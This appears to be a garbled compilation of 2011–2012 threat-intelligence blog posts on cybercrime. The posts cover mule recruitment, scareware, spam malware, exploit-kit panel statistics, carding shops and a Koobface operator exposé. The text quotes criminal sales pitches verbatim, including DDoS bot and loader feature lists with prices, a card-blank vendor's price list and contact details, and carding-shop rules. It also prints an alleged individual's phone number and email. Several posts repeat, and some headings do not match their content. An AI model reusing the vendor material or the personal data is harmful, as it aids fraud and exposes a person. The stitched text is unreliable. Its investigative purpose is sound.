recruited by a particular syndicate, and most importantly, can we talk about average number

of days/weeks/hours by the time the mule gets busted, and can no longer offer his/her

services?

3625

In the long term, we're inevitably going to witness the migration from building invento-

ries of mules to transaction-driven mule recruitment model where the capability-driven

mentality surpasses the mule inventory building one. The number of possible transactions

with success rates based on historical performance, combined with an infinite loop of recruit-

ment is what will drive the entire mule recruitment ecosystem.

7.2.3 A Diverse Portfolio of Fake Security Software -

Part

Twenty

Five

(2011-02-15 16:06)

Scarewere continues occupying the top spots for malicious monetization tactics courtesy of

the cybercrime ecosystem.

Disruption of this monetization chain can take place through

multiple processes. For instance:

• Share data with the affected ISP whose customers participate in the black hat SEO cam-

paign

• Target the payment processing gateways, or inform the legitimate one

• Target the the redirector URLs of the campaign

• Target the affiliate network itself

3635

• Target the "final output" in the form of scareware domains

In this we'll expose a portfolio of scaware domains, and will target the "final output" of the

campaign, in between sharing data with community members. As always, what originally

looks like a low profile campaign, always turns into a piece of puzzle from the massive blackhat

SEO "picture".

- Detecrion rate for **systemwrecksavertingsystem.com /scan1/92/ freesystemscan.exe**

7.2.4 Bogus Adult Content SPIM-ed Over ICQ (2011-02-16 13:25)

A currently SPIM-ed campaign over ICQ attempts to trick the end user into becoming a member

of a bogus adult content offering network, which drives sales through spamming.

7.2.5 Sampling 419 Advance Fee Scams Activity - Part Two (2011-02-21 13:54)

Part two of the [1]**Sampling 419 Advance Fee Scams Activity** series, once again aims to

provide actionable real-time threat intelligence on a fraudulent

segment that continues

tricking hundreds of thousands of average Internet users into thinking that they have pending

payments, have won the lottery, or someone is basically interested in doing multi-million

dollar business with them.

The format of the data obtained over the past 24 hours, is return email plus the original

IP of the sender, most of which can be geolocated to African countries.

http://www.ukmenshealth.com

An exploited web application vulnerability within Cochise County Online University CMS

(**moodle.cochise.az.gov/user**), is currently resulting in a blackhat SEO campaign (**1,890 pages**)

leading to fraudulent Google brand-jacked pharmaceutical pages.

Naturally, once the compromise took place, the cybercriminals started considering the

blackhat SEO content farm themed for pharmaceutical scams, as parts of their infrastructure

and spamvertised links to it across multiple web forums.

The hijacking of a trusted brand such as Google shouldn't be surprising, as it's an insep-

arable part of social engineering driven abuse of the trust-chain. From Google's name to the

visual impersonation of Google Search this campaign demonstrates exactly the same.

7.3.3 Keeping Money Mule Recruiters on a Short Leash - Part Six (2011-03-10 14:45)

[1]

Following my previous post on "[2]**Keeping Money Mule Recruiters on a Short Leash -**

Part Five", in this post we're once again going to expose a portfolio of money mule recruit-

ment domains, their related ASs and name servers of notice, including some additional SpyEye

activity within one of the ASs.

What’s particularly interesting is the ongoing use of similar templates, including fake

"certified by" documents aiming to boost the visitor’s confidence in the mule recruitment

company. Sample "certified by" documents include:

[3]

[4]

7.3.4 Spamvertised DHL Notification Malware Campaign (2011-03-10 15:29)

[1]

A currently spamvertised malware campaign is brand-jacking DHL for malware-serving pur-

poses.

Sample filename: document.zip = > DHL _notification.exe

Sample message: *Dear customer.*

The parcel was send your home address.

And it will

arrice within 7 bussness day. More information and the tracking number are attached in doc-

ument below. Thank you. 2011 DHL International GmbH. All rights ***reserverd*** - notice the typo.

DHL _notification.exe - **[2] Trojan-Spy.Win32.SpyEyes - Result: 27 /43 (62.8 %)**

7.3.5 Compromised University Leads to Fraudulent Pharmaceutical Ads (2011-03-10 16:53)

[1]

Continuing the [2]**Compromised University Leads to Fraudulent Google Brand-jacked Phar-**

maceutical Ads series, yet another university has been compromised by pharmaceutical

scammers, [3]**part of an affiliate network**.

In this very latest example of this tactic, seeking to abuse the high pagerank of the web

site in question, the web site of the Department of Mathematics at Rutgers University

(**math.rutgers.edu/mdnews/**) appears to have been compromised by pharmaceutical scam-

mers.

Included URLs:

math.rutgers.edu/mdnews/levitraline.html

math.rutgers.edu/mdnews/levitrastory.html

math.rutgers.edu/mdnews/cialis-pills.html

math.rutgers.edu/mdnews/levitradosage.html

7.3.7 Spamvertised FedEx Notifications Spread Malware (2011-03-16 18:14)

[1]

A currently ongoing spamvertised campaign is brand-jacking FedEx for malware serving

purposes.

Sample attachments: FedEx letter.zip; FedEx letter.exe

Sample subject: FedEx notification #random number

Sample message: *Dear customer. The parcel was sent your home address. And it will arrive*

within 7 business day. More information and the tracking number are attached in document

below.

Thank you.

7.3.11 Dissecting

the

Massive

SQL

Injection

Attack

Serving

Scareware

(2011-03-31 19:54)

A currently ongoing massive SQL injection attack has affected hundreds of thousands of web

pages across the Web, to ultimately monetize the campaign through a scareware affiliate

program. Such massive SQL injection attempts are usually conducted using [1]**mass vulnera-**

bility scanning tools, with the help of [2]**search engines** which have already [3]**crawled the**

vulnerable sites.

What's particularly interesting about this campaign, is the fact that the used domains

are all responding to the same IPs, including the portfolios of scareware domains, which the

cybercriminals naturally rotate on a periodic basis. Let's dissect the campaign, expose the

domain portfolios and the entire campaign structure.

7.3.12 Dissecting the Massive SQL Injection Attack Serving Scareware (2011-03-31 19:54)

3689

A currently ongoing massive SQL injection attack has affected

hundreds of thousands of

web pages across the Web, to ultimately monetize the campaign through a scareware affiliate

program. Such massive SQL injection attempts are usually conducted using [1]**mass vulnera-**

bility scanning tools, with the help of [2]**search engines** which have already [3]**crawled the**

vulnerable sites.

What's particularly interesting about this campaign, is the fact that the used domains

are all responding to the same IPs, including the portfolios of scareware domains, which the

cybercriminals naturally rotate on a periodic basis. Let's dissect the campaign, expose the

domain portfolios and the entire campaign structure.

7.4.5 Spamvertised "Successfull Order 977132" Leads to Scareware (2011-04-28 14:50)

A currently ongoing malware campaign is impersonating Bobijou Inc for malware-serving

purposes.

3714

Sample subject: " *Successfull Order 977132*"

Sample message: " *Thank you for ordering from Bobijou Inc.This message is to inform you that*

your order has been received and is currently being processed.

Your order reference is 901802. You will need this in all correspondence. This receipt is

NOT proof of purchase. We will send a printed invoice by mail to your billing address.

You have chosen to pay by credit card.

Your card will be charged for the amount of

262.00 USD and "Bobijou Inc." will appear next to the charge on your statement.You will

receive a separate email confirming your order has been despatched.Your purchase and

delivery information appears below in attached file.

Thanks again for shopping at Bobijou Inc. "

7.5.3 A Peek Inside a New DDoS Bot - "Snap" (2011-05-09 17:03)

Sampling malicious activity through the eyes of the cybercriminal, is always beneficial in the

context of timely spotting valuable trends and fads within the ecosystem, given a decent

sample of malicious activity is obtained.

In this post, we'll review a new DDoS bot on the block - "Snap".

This modular bot differentiates itself by offering the ability to choose between different

modules to be added to the final package, and by allowing to perform to "proprietary" DDoS

functions, namely the TurboSYN, and TrafficDDoS. Next to its core DDoS functionality, the

coder of the bot is differentiating by offering Form Grabbing; Reverse Socks; MailSpamming;

IM-Spamming and Exploits launching functionality.

More details from the actual proposition:

[+] language the bot is coded in : mASM

3726

[+] no external depencies, no run times , no frame works!

[+] Ability to work with roaming user accounts

[+] modularized structure of the bot

[+] Second Backup Service watch process Activity and restart bot on fail over

[+] User Mode r00tkit

-> [+] run's as a service and hides itself

-> [+] hides & protect root process

-> [+] hides & protect files

-> [+] hides the root processes

-> [+] hides already used local &remote TCP Port(s)

-> [+] hides already used local &remote UDP Port(s)

-> [+] hides already used regkey's

[+] semi polymorphic architecture

-> [+] uses random legit process, file & service names

-> [+] generates a unique stub every run

[+] bot doesn't use eof, has no import table, doesnt need relocation and tls section => very

good crypter support

[+] Unicode support for Asian pcs

[+] detects common sandboxes, virtual OSs, emulators, and analysis tools

[=========== [Webpanel] ==–

[+] the webpanel is developed with dreamweaver cs5 and ajax framework using mysql

and php

[+] multi theme support available

[+] multi command support => every victim can do as many threads as you want it to

[+] reliable protocol which creates the lowest possible server load

[+] modularized structure of the bot

[=== [Modules] ==–

[+] Base price (Core) for 250 $

Loader:

[+] Load module (simple) +0 $

[+] Load module (extended) for 50 $

Proxy:

[+] Socks5 Deamon for 50 $

[+] reverse Socks 4/Socks 4a/Socks 5/ HTTP(s) for 150 $

DDoS:

[+] DDoS Module (http/syn) for 50 $

[+] DDoS Module (full) for 100 $

DDoS(full) + Load module (extended) + Socks5 Deamon for 400 $

Welcome to Alternative Art Ltd Authorization

7.5.4 Keeping Money Mule Recruiters on a Short Leash - Part Seven (2011-05-10 12:41)

Continuing the what has turned into a tradition, the "[1]Keeping Money Mule Recruiters on

a Short Leash" series, in this post we'll review currently active money mule recruitment

sites, and provide vital OSINT data on what is currently acting as the the cornerstone of the

monetization process that cybercriminals rely on - risk forwarding thanks to money mule

recruitment for processing of fraudulently obtained funds.

Description used on the majority of templates:

" *Looking to buy art? Sell art? Alternative Art Ltd is the first choice for artists and buyers*

alike! Alternative Art Ltd is an effective tool for the artist and emerging artist to market and

promote their art in a professional and inexpensive manner. We will market your art to the

international community of art buyers. Whether you are looking to buy or sell original art,

Alternative Art Ltd is the premier art site for those seeking to buy or sell original art online.

NO COMMISSIONS! Whether you are looking to buy art or sell art, our site is fully opti-

mized to get results FAST! Alternative Art Ltd is the future of buying and selling original art

online. Artists who choose to sell their original art will receive maximum marketing exposure.

For artists, selling your art has never been easier, faster, or more cost-effective. We will help

you sell your original art DIRECTLY to buyers worldwide with NO COMMISSIONS. Those wishing

to buy art online are invited to browse our extensive online galleries of original art. Never

before has it been this easy for a buyer to select high-quality original art online. We update

daily with new original art from our artist members.

Alternative Art Ltd offers casual collectors and serious connoisseurs alike an amazing

collection of original art pieces from the world over. You'll enjoy unparalleled customer care

from a knowledgeable and friendly staff of experts. For artists, the inconvenience and high

3729

costs of traditional galleries are completely eliminated. Our team of experts puts the latest

technology to work for you, putting your original art in front of millions of potential art buyers! "

7.5.5 Keeping Money Mule Recruiters on a Short Leash - Part Eight - Historical OSINT

(2011-05-25 13:18)

With money mule recruitment scams continuing to represent an inseparable part of the cy-

bercrime ecosystem, in this post I'll summarize the findings from an assessment I conducted

on currently active mule recruitment scams over a month ago.

As always, the historical

OSINT offered is invaluable in case-building practices in particular a very well segmented

group of mule recruiters using identical templates which they've purchased from a vendor of

standardized mule recruitment templates.

Domains known to have been participating in money mule recruitment campaigns, cur-

rently offine:

7.5.7 A Peek Inside the Vertex Net Loader (2011-05-26 16:34)

3743

It appears that the author of the of the DarkComet RAT has been keeping himself rather busy.

In early-stage development (currently in BETA), the Vertex Net Loader is your typical

web-based command and control malware loader, worth keeping an eye on.

More details:

Info on the loader:

This is the small program that will send/retrieve info from/to the web panel , it is like the

server part of a RAT. The loader is coded in C++. Size unpacked is 100kb , compressed is

very small and still stable. I choose C++ as the language for this project cause i code C++

since a long time but i never release some security soft, so as a friend said it is a shame to

have a knowledge in C++ and don't use it instead of Delphi all the time. Also C++ is faster

and more stable than any other language.

Features of the loader:

- Send message box

- Execute any kind of commands

- close loader process

- Download files and execute them

- Get the process list

- Get the modules list from PID

- Set the keylogger status ON/OFF

- Retrieve the keylogger logs

- Read the file content and retrieve it

- Uninstall the loader

- Httpflood same technologies as i used for DarkComet that is very powerfull

- Remote shell

- Visit any webpage

Upcoming features:

- FWB

- More commands

- Panel Installer

- More possibilities in the webpanel

- User manager in the panel

- Plugins support

- and more.

7.8.2 A Peek Inside Web Malware Exploitation Kits (2011-08-29 13:19)

With web malware exploitation kits, continuing to represent the attack method of choice for

the majority of cybercriminals thanks to the [1]overall susceptibility of end and [2]enterprise

users to client-side exploitation attacks, it's always worth taking a peek inside them from the

perspective of the malicious attacker.

In this post, we'll take a peek inside three web malware exploitation

kits, and discuss

what makes them think in terms of infected OSs, browser plugins and client-side exploits.

_Dragon Pack Web Malware Exploitation Kit

[3]

3783

Iframe Statistics Countries Referer

STATISTICS

UNICS	WINDOWS	LOADS	PERCENT
588	486	45	9.26%

EXPLOIT	RUN	RATE
JAVAROX	42	93.33
JAVASMB	2	4.44
MDAC	1	2.22

BROWSER	VISITS	LOADS	RATE
MSIE 6	6	1	16.67%
MSIE 7	49	3	6.12%
MSIE 8	187	13	6.95%
Chrome	65	7	10.77%
Firefox	209	20	9.57%
Opera	6	0	0%
Safari	57	0	0%
Other	6	0	0%

OS	VISITS	LOADS	RATE
Windows 95	1	1	100%
Windows 2000	1	0	0%
Windows XP	175	14	8%
Windows XP SP2	22	3	13.64%
Windows Vista	146	12	8.22%
Windows 7	141	15	10.64%

What we've got here is a rather modest in terms of activity, web malware exploitation kit admin

panel. We've got 45 successful loads based on 588 unique visits, with the JavaRox exploit

executed 42 times, successfully infecting 20 Firefox users. The exploits have successfully

loaded on Windows XP 14 times, on Windows XP SP2 3 times, on Windows Vista 12 times, and

on Windows 7 15 times.

_Dragon Exploit Pack

3784

The Dragon Exploit Pack has 45 successful loads based on 587 unique visitors, with the JavaJDK

exploit executed successfully 42 times. The kit is counting 13 successful loads on MSIE 8, and

another 20 on Firefox, with 14 successful loads recorded for Windows XP, 2 on Windows XP

SP2, 12 on Windows Vista and 15 on Windows 7.

_Katrin Exploit Pack

3785

KATRIN
Premium Exploits Pack

STATISTICS COUNTRIES REFERER UPLOAD CLEAR LOGOUT

LINK FOR TRAFFIC: [redacted]

ALL TRAFFIC	WINDOWS TRAFFIC	LOADS	RATE
19933	18917	3277	17.32%

EXPLOIT	LOADS	RATE
Java JSM	535	16.33%
Java SMB	576	17.58%
Java OBE	914	27.89%
Old 4 PDF	87	2.65%
Libtiff PDF	726	22.15%
MDAC	96	2.93%
Snapshot	104	3.17%
HCP	239	7.29%

BROWSER	TRAFFIC	LOADS	RATE
MSIE 6	1315	452	34.37%
MSIE 7	2408	786	32.64%
MSIE 8	8162	1198	14.68%
MSIE 9	89	6	6.74%
Chrome	2559	274	10.71%
Firefox	4499	522	11.6%
Opera	209	24	11.48%
Safari	542	14	2.58%
Other	150	1	0.67%

OS	TRAFFIC	LOADS	RATE
Windows 98	23	7	30.43%
Windows 2000	38	9	23.68%
Windows 2003	33	7	21.21%
Windows XP	10648	2107	19.79%
Windows Vista	2724	625	22.94%
Windows 7	5451	503	9.23%
Other OS	1016	19	1.87%

The Katrin Exploit Pack has 3277 successful loads based on 19933 unique visits, which

represents a 17.32 % infection rate. The Java JSM exploit has been successfully loaded 535

times, Java SMB has been loaded 576 times, Java OBE has been loaded 914 times, Old 4 PDF

has been loaded 87 times, Libtiff PDF has been loaded 726 times, MDAC has been loaded 96

times, Snapshot has been loaded 104 times, and HCP has been loaded 239 times.

The kit is counting 452 successful exploitation attempts against MSIE 5, 786 against

MSIE7, 1198 against MSIE 8, 274 against Chrome, 522 against

Firefox, 24 against Opera

and 14 against Safari. The majority of loads have affected Windows XP installations, with

2107 successful loads targeting the OS, following 625 on Windows Vista, and 503 on Windows 7.

_Liberty Exploit Pack

3786

Browser	Uniques	Downloads	Percent
Total (100 %)	3029	555	18.32 %
IE 6 (37.07 %)	1123	397	35.35 % (13.11 %)
IE 7 (30.57 %)	926	89	9.61 % (2.94 %)
Firefox (16.64 %)	504	54	10.71 % (1.78 %)
Unknown (11.89 %)	360	2	0.56 % (0.07 %)
Chrome (2.01 %)	61	9	14.75 % (0.3 %)
Opera (1.82 %)	55	4	7.27 % (0.13 %)

The Liberty Exploit pack screenshot, is showing the proportion successfully infected web

browsers, with total of 555 successful loads based on 3029 unique visitors. 397 loads have

affected Internet Explorer 6, 89 Internet Explorer 7, and 54 Firefox.

_Bleeding Life Exploit Pack

In this Bleeding Life web malware exploitation kit, we can clearly seen the dynamics behind

the infections taking place.

We see 554 successful loads based on 4106 unique visitors.

JavaSignedApplet has been executed 161 times, Adobe-90-2010-0188 has been executed 67

times, Adobe-80-2010-0188 has been executed 46 times, Java-2010-0842 has been executed

203 times, Adobe-2008-2992 has been executed 74 times, and Adobe-2010-1297 has been

executed 2 times.

The majority of the infected population is based in the U.S, United Kingdom, Qatar, and

Malaysia. Windows XP has the highest market share of infected OSs, with 336 successful loads

based on 2098 unique visitors. Followed by Windows 7 with 139 loads based on 1256 unique

visitors, and 73 unique loads based on 719 unique visitors for Windows Vista.

Tax notice,

There are arrears reckoned on your account over a period of 2010-2011 year.
You will find all calculations according to your financial debt, enclosed.

Sincerely,
Internal Revenue Service.

7.10.3 Spamvertised "IRS notice" Serving Malware (2011-10-09 19:53)

Cybercriminals are spamvertising yet another malware-serving campaign. Impersonating the

IRS, malicious attackers are attempting to entice end users into downloading and executing a

malicious file attachment.

Spamvertised message: *Tax notice, There are arrears reckoned on your account over a*

period of 2010-2011 year.

You will find all calculations according to your financial debt,

enclosed. Sincerely, Internal Revenue Service

Detection rate:

7.10.7 Exposing the Market for Stolen Credit Cards Data (2011-10-31 02:07)

What's the [1]**average price for a stolen credit card**? How are [2]**prices shaped within the**

cybercrime ecosystem? Can we talk about [3]**price discrimination within the underground**

marketplace? Just how easy is to purchase stolen credit cards known as dumps or full dumps,

nowadays?

In this intelligence brief, I will expose the market for stolen credit cards data, by profil-

ing 20 currently active and responding gateways for processing of fraudulently obtained

financial data.

Key summary points:

3832

x

• Tens of thousands of stolen credit cards a.k.a. dumps and full dumps offered for sale in a

DIY market fashion

• The majority of the carding sites are hosted in the Ukraine and the Netherlands

• Liberty Reserve is the payment option of choice for the majority of the portals

• Four domains are using Yahoo accounts and one using Live.com account for domain reg-

istration

• Four of the domains are using identical name servers

• Each DIY gateway for processing of fraudulently obtained financial data has a built-in

credit cards checker or offers links to external sites performing the service

• Several of the fraudulent gateways offered proxies-as-a-service, allowing cybercriminals

to hide their real IPs by using the malware infected hosts as stepping stones

The dynamics of the cybercrime ecosystem share the same similarities with that of a legit-

imate marketplace.

From seller and buyers, to bargain hunters, escrow agents, resellers

and vendors specializing in a specific market segment, all the market participants remains

active throughout the entire purchasing process. With ZeuS and SpyEye crimeware infections

proliferating, it's shouldn'd be surprising that the average price for a stolen credit card is

decreasing. With massive dumps of credit card details in the hands of cybercriminals, obtained

through [4]**ATM skimming** and crimeware botnets, the marketplace is getting over-crowded

with trusted propositions for stolen credit card details.

What used to be a market where over-the-counter trade was the primary growth factor, is

today's highly standardized marketplace with DIY online interfaces,

allowing anyone to join

and purchase stolen credit card details. Naturally, the vendors of dumps and full dumps

are vertically integrating within the marketplace, and are offering additional services such

as checkers for credit cards validity, and proxies-as-a-service – [5]**compromised malware**

infected hosts – allowing a potential cybercriminal to opportunity to hide their IP while using

the recently purchased credit cards data.

How are prices shaped within this new and standardized market model offered commod-

ity goods such as stolen credit cards, and is price discrimination for the stolen credit cards

even feasible? The vendors are currently offered fixed prices for the majority of credit cards,

with slight increases in the price of a stolen credit card, if the card is Premium. Bulk orders

are naturally also considered as a growth factor the DIY interfaces, with slight discounts being

offered for bulk orders.

As far as [6]**price discrimination** is concerned, the concept is long gone, and has be-

come the victim of this ongoing standardization of the market. The same goes for penetration

pricing, as the vendors of stolen credit cards details are now enjoying a better underground

market transparency into the fraudulent propositions of competing portals, helping them to

set the prices more easily, without the need to lower the price in order to enter the market

segment.

3833

Let's profile the 20 gateways for processing of fraudulently obtained financial data.

Responding IPs, registered emails, name servers, ASs, associated ICQ numbers, geolo-

cation of the hosting IP is as follows:

Let's now take an inside view into each and every of the above-profiled gateways.

_accessltd.ru

Accessltd.ru is currently offering an inventory of 39328 U.S based stolen credit card details

for just $2.10 each, followed by another inventory of 342 U.K based credit cards for $9 each,

and 108 Japanese based credit cards for $8 each, with another dump of 293 Canadian credit

cards for $7 each, and 198 Australian based credit cards for $8 each.

According to the service - " *We accept Liberty Reserve only.Refund on your wallets is not*

possible. "

Moreover, here's how the service operates based on the Service Rules:

" *To check the card is integrated into the platform checker CCChecker, currently the best*

checker, not only in our opinion. Replacement cards are only based on the result of this

checker. Check Card is available immediately after order payment, in the section My Orders.

To check, click "Check". Cards checking in for a few seconds. Button "Check" - available within

20 minutes after purchase. Check Card - a paid service, which costs $ 0.3, if the card is not

valid - the cost of cards back to your

account automatically.

Replacement card can only be made in the automatic mode.

If checker dont working,

3835

for replace need screens your checker in the Support section with a description of the problem.

These tickets will only be considered if they contain the results of your test, not a "paid for

Skype, did not work, replace". We do not care where and how you use the material, loading

support extra information is needed.We will check the card manually, and if any parameter is

not correct to make you refund. ***Sorting****:*

Our shop is available sorted by the following parameters:

1. BIN (Multiple)

2. State (Multiple)

3. City (Multiple)

4. Zip (Multiple)"

_AllFresh.us

AllFresh.us is yet another DIY shop for purchasing stolen credit card details, all fresh as the

name says.

On 2011/08/04 the service issued updates for " **updated US Amex, Discover fresh and good**",

followed by another update on the next day, this time advertising " *updated more cvv Franche*

new and good today. "

The price for a stole card number is static and is $6 per credit card.

Call

2.3.3) Claims on checked DUMP/CC are not accepted.

2.7) Rules of other services on site CardShop will be added in this agreement later

3) Prices and Tariffs

3.1.1) 1 credit is accepted to a unit of account on site CardShop. Initially 1 credit = 1 $. The

price for 1 credit can change according to tariffs for funding. Tariffs could be found in Tariff

section at site

3.1.2) Administration CardShop reserves the right to itself at any moment to change tariffs.

You agree periodically check tariffs on site CardShop to learn about possible changes in them"

The is currently offering 33903 U.S based stolen credit cards for sale.

The web site is

also offering Proxies for sale – compromised malware infected hosts- where the price is 0.3 $

per proxy. Next to the inventory of stolen credit cards and the proxy service, the web site is

also offering batch checking for the validity of the stolen credit cards, and is also performing

Lookups SSN|MMN services, with the ability to Lookup MMN in California state.

7.10.8 Exposing the Market for Stolen Credit Cards Data (2011-10-31 02:07)

In this post, I will perform an OSINT analysis, exposing one of the key botnet masters behind

the infamous Koobface botnet, that I have been [1]**extensively profiling and infiltrating** since

day one. I will include photos of the botnet master, his telephone numbers, multiple email

addresses, license plate for a BMW, and directly connect him with the infrastructure – now

offline or migrated to a different place – of Koobface 1.0.

The analysis is based on a single mistake that the botnet master made - namely using

his personal email for registering a domain parked within Koobface's command and control

infrastructure, that at a particular moment in time was directly redirecting to the ubiquitous

fake Youtube page pushed by the Koobface botnet.

Let's start from the basics. Here's an excerpt from a [2]**previous research conducted on**

the Koobface botnet:

3869

Sphynx (kitten) (St. Petersburg)
E-mail: krotreal@gmail.com

Sale Sphynx kittens.
Kittens are pedigree.
Fully immunized.
Kittens are very playful and funny.
Girl - a pure black color,
boy - a black iridescent with in tum.
Anton.
Tel. +79219910190

09/05/2007

However, what the Koobface gang did was to register a new domain and use it as Koob-

face C &C again parked at the same IP, which remains active - ***zaebalinax.com*** *Email:*

krotreal@gmail.com *- 78.110.175.15 - in particular* ***zaebalinax.com/the/?pid=14010***

which is ***[3]redirecting to the Koobface botnet****.*

Two more domains were also regis-

tered and parked there, ***u15jul .com*** *and* ***umidsummer .com*** *- Email:*

2009polevan-

drey@mail.ru *which remain in stand by mode at least for the time being.*

The Koobface botnet master's biggest mistake is using the Koobface infrastructure for

hosting a domain that was registered with the botnet master's personal email address. In this

case that **zaebalinax.com** and ***krotreal@gmail.com.*** **zaebalinax.com** is literally translated

to " *Gave up on Linux*". **UPDATED:** Multiple readers have to contacted me to point out that

zaebalinax is actually translated to " *f*ck you all*" or " *you all are p*ssing me off*".

The same email ***krotreal@gmail.com*** was used to [4]**advertise the**

sale of Egyptian

Sphynx kittens on 05.09.2007:

The following telephone belonging to Anton was provided - +**79219910190**.

The interest-

ing part is that the same telephone was also used in [5]**another advertisement, this time for**

the sale of a BMW:

3870

Photos of the BMW, offered for sale, by the same Anton that was using the Koobface in-

frastructure to host ***zaebalinax.com*** *Email:* ***krotreal@gmail.com:***

8.1.3 Profiling a Vendor of Visa/Mastercard Plastics and Holograms (2012-01-03 20:04)

What is it that cybercriminals needs once they have obtained access to **[1] stolen financial**

data? Next to **[2] money mules**, that's empty plastic cards in which they will later on embed

the stolen financial data.

Let's profile a vendor of empty Visa/Mastercard plastic cards and holograms in order to

gain a better picture at just how easy it is to obtain such plastic cards.

Associated nickname: pizzA

Associated ICQ: 496-872-531

Associated email: plastics@safe-mail.net

Translated vendor's proposition:

Below you have prices and samples of my products.

Plastics - Blanks:

1-50 = 15each

51-100 = 14 each

101+ = 13 each

201+ = 12 each

Plastics - Embossed

1 and up = 20each

101+ = 18each

201+ = 17each

3883

Minimum order: 200USD

Shipping to: USA, International orders(min $800 + shipping)

Plastics have UV Security print on Front and Back.

Holograms Stickers and Heatpress:

VISA - Silver/Gold

VISA mini - Silver/Gold

MasterCard - Silver/Gold

Minimum order on stickers: 500pcs

Minimum order on Heatpress: 1000pcs

$0.8 per hologram

PAYMENT:

Liberty Reserve (Prefered)

Western Union (500usd minimum + 8 % WU fee)

RULES:

- Any order, question feel free to ask in ICQ.

- Shipping time 24-48 after the money is picked up.

- PLEASE USE THIS TOPIC ONLY FOR FEEDBACK, ANY QUESTION AND ORDERS in ICQ.

- If you buy from me it means you agreed my rules.

8.1.5 Who's Behind the Koobface Botnet? - An OSINT Analysis (2012-01-09 16:59)

It's full disclosure time.

In this post, I will perform an OSINT analysis, exposing one of the key botnet masters

behind the infamous Koobface botnet, that I have been [1]**extensively profiling and infiltrat-**

ing since day one. I will include photos of the botnet master, his telephone numbers, multiple

email addresses, license plate for a BMW, and directly connect him with the infrastructure –

now offline or migrated to a different place – of Koobface 1.0.

The analysis is based on a single mistake that the botnet master made - namely using

his personal email for registering a domain parked within Koobface's command and control

infrastructure, that at a particular moment in time was directly redirecting to the ubiquitous

fake Youtube page pushed by the Koobface botnet.

Let's start from the basics. Here's an excerpt from a [2]**previous research conducted on**

the Koobface botnet:

However, what the Koobface gang did was to register a new domain and use it as Koob-

face C &C again parked at the same IP, which remains active - ***zaebalinax.com*** *Email:*

krotreal@gmail.com *- 78.110.175.15 - in particular* ***zaebalinax.com/the/?pid=14010***

which is ***[3]redirecting to the Koobface botnet****.*

Two more domains were also regis-

tered and parked there, ***u15jul .com*** *and* ***umidsummer .com*** *- Email:*

2009polevan-

drey@mail.ru *which remain in stand by mode at least for the time being.*

The Koobface botnet master's biggest mistake is using the Koobface infrastructure for

hosting a domain that was registered with the botnet master's personal email address. In this

case that **zaebalinax.com** and ***krotreal@gmail.com.*** **zaebalinax.com** is literally translated

to " *Gave up on Linux*". **UPDATED:** Multiple readers have to contacted me to point out that

zaebalinax is actually translated to " *f*ck you all*" or " *you all are p*ssing me off*".

The same email ***krotreal@gmail.com*** was used to [4]**advertise the sale of Egyptian**

Sphynx kittens on 05.09.2007:

3923

Sphynx (kitten) (St. Petersburg)
E-mail: krotreal@gmail.com

Sale Sphynx kittens.
Kittens are pedigree.
Fully immunized.
Kittens are very playful and funny.
Girl - a pure black color,
boy - a black iridescent with in tum.
Anton.
Tel. +79219910190

09/05/2007

The following telephone belonging to Anton was provided - +**79219910190**. The interesting

part is that the same telephone was also used in [5]**another advertisement, this time for the**

sale of a BMW:

Photos of the BMW, offered for sale, by the same Anton that was using the Koobface infras-

tructure to host ***zaebalinax.com*** *Email:* ***krotreal@gmail.com:***

8.1.6 Who's Behind the Koobface Botnet? - An OSINT Analysis (2012-01-09 16:59)

In this post, I will perform an OSINT analysis, exposing one of the key botnet masters behind

the infamous Koobface botnet, that I have been [1]**extensively profiling and infiltrating** since

day one. I will include photos of the botnet master, his telephone numbers, multiple email

3960

addresses, license plate for a BMW, and directly connect him with the infrastructure – now

offline or migrated to a different place – of Koobface 1.0.

The analysis is based on a single mistake that the botnet master made - namely using

his personal email for registering a domain parked within Koobface's command and control

infrastructure, that at a particular moment in time was directly redirecting to the ubiquitous

fake Youtube page pushed by the Koobface botnet.

Let's start from the basics. Here's an excerpt from a [2]**previous research conducted on**

the Koobface botnet:

However, what the Koobface gang did was to register a new domain and use it as Koob-

face C &C again parked at the same IP, which remains active - ***zaebalinax.com*** *Email:*

krotreal@gmail.com *- 78.110.175.15 - in particular* ***zaebalinax.com/the/?pid=14010***

which is ***[3]redirecting to the Koobface botnet****.*

Two more domains were also regis-

tered and parked there, ***u15jul .com*** *and* ***umidsummer .com*** *- Email:*

2009polevan-

drey@mail.ru *which remain in stand by mode at least for the time being.*

The Koobface botnet master's biggest mistake is using the Koobface infrastructure for

hosting a domain that was registered with the botnet master's personal email address. In this

case that **zaebalinax.com** and ***krotreal@gmail.com.*** **zaebalinax.com** is literally translated

to " *Gave up on Linux*". **UPDATED:** Multiple readers have to contacted me to point out that

zaebalinax is actually translated to " *f*ck you all*" or " *you all are p*ssing me off*".

8.5.3 Dissecting the Ongoing Client-Side Exploits Serving Lizamoon Mass SQL Injec-

tion Attacks (2012-05-08 21:36)

The [1]**Lizamoon** mass [2]**SQL injection** attacks gang is continuing to efficiently [3]**inject**

malicious code on hundreds of thousands of legitimate sites, for the purpose of serving [4]**fake**

security software – also known as scareware – and client-side exploits.

The latest round of the campaign is serving client-side exploits through multiple redirec-

tions taking place once the end user loads the malicious script embedded on legitimate sites.

In comparison, in the past the gang used to monetize the hijacked traffic by serving scareware

and bogus Adobe Flash Players.

What are some of the currently SQL injected malicious domains?

How does the redirec-

tion take place? Did they take into consideration basic QA (quality assurance) tactics into

place? Let's find out.

3984

Currrently injected malicious domains are parked at **31.210.100.242** (AS42926, RADORE

Hosting), with the following domains currently responding to that IP:

skdjui.com/r.php - Email: jamesnorthone@hotmailbox.com

njukol.com/r.php - Email: jamesnorthone@hotmailbox.com

hnjhkm.com/r.php - Email: jamesnorthone@hotmailbox.com

nikjju.com/r.php - Email: jamesnorthone@hotmailbox.com

hgbyju.com/r.php - Email: jamesnorthone@hotmailbox.com

uhjiku.com/r.php - Email: jamesnorthone@hotmailbox.com

uhijku.com/r.php - Email: jamesnorthone@hotmailbox.com

werlontally.net/r.php - Email: jamesnorthone@hotmailbox.com

[5]**March's round of malicious domains** was hosted at 91.226.78.148 (AS56697, LISIK-AS

OOO "Byuro Remontov "FAST").

The redirection takes us to these two domains:
www3.topcumaster.com - 75.102.21.120

(AS23352, SERVERCENTRAL)

Parked at **75.102.21.120** are also the following domains:

www3.personal-scanera.com - Email: benji.rubes@yahoo.com

www3.personalvoguard.com - Email: benji.rubes@yahoo.com

www3.hard-zdsentinel.com - Email: benji.rubes@yahoo.com

www3.bestbxcleaner.com - Email: benji.rubes@yahoo.com

www3.topcumaster.com - Email: benji.rubes@yahoo.com

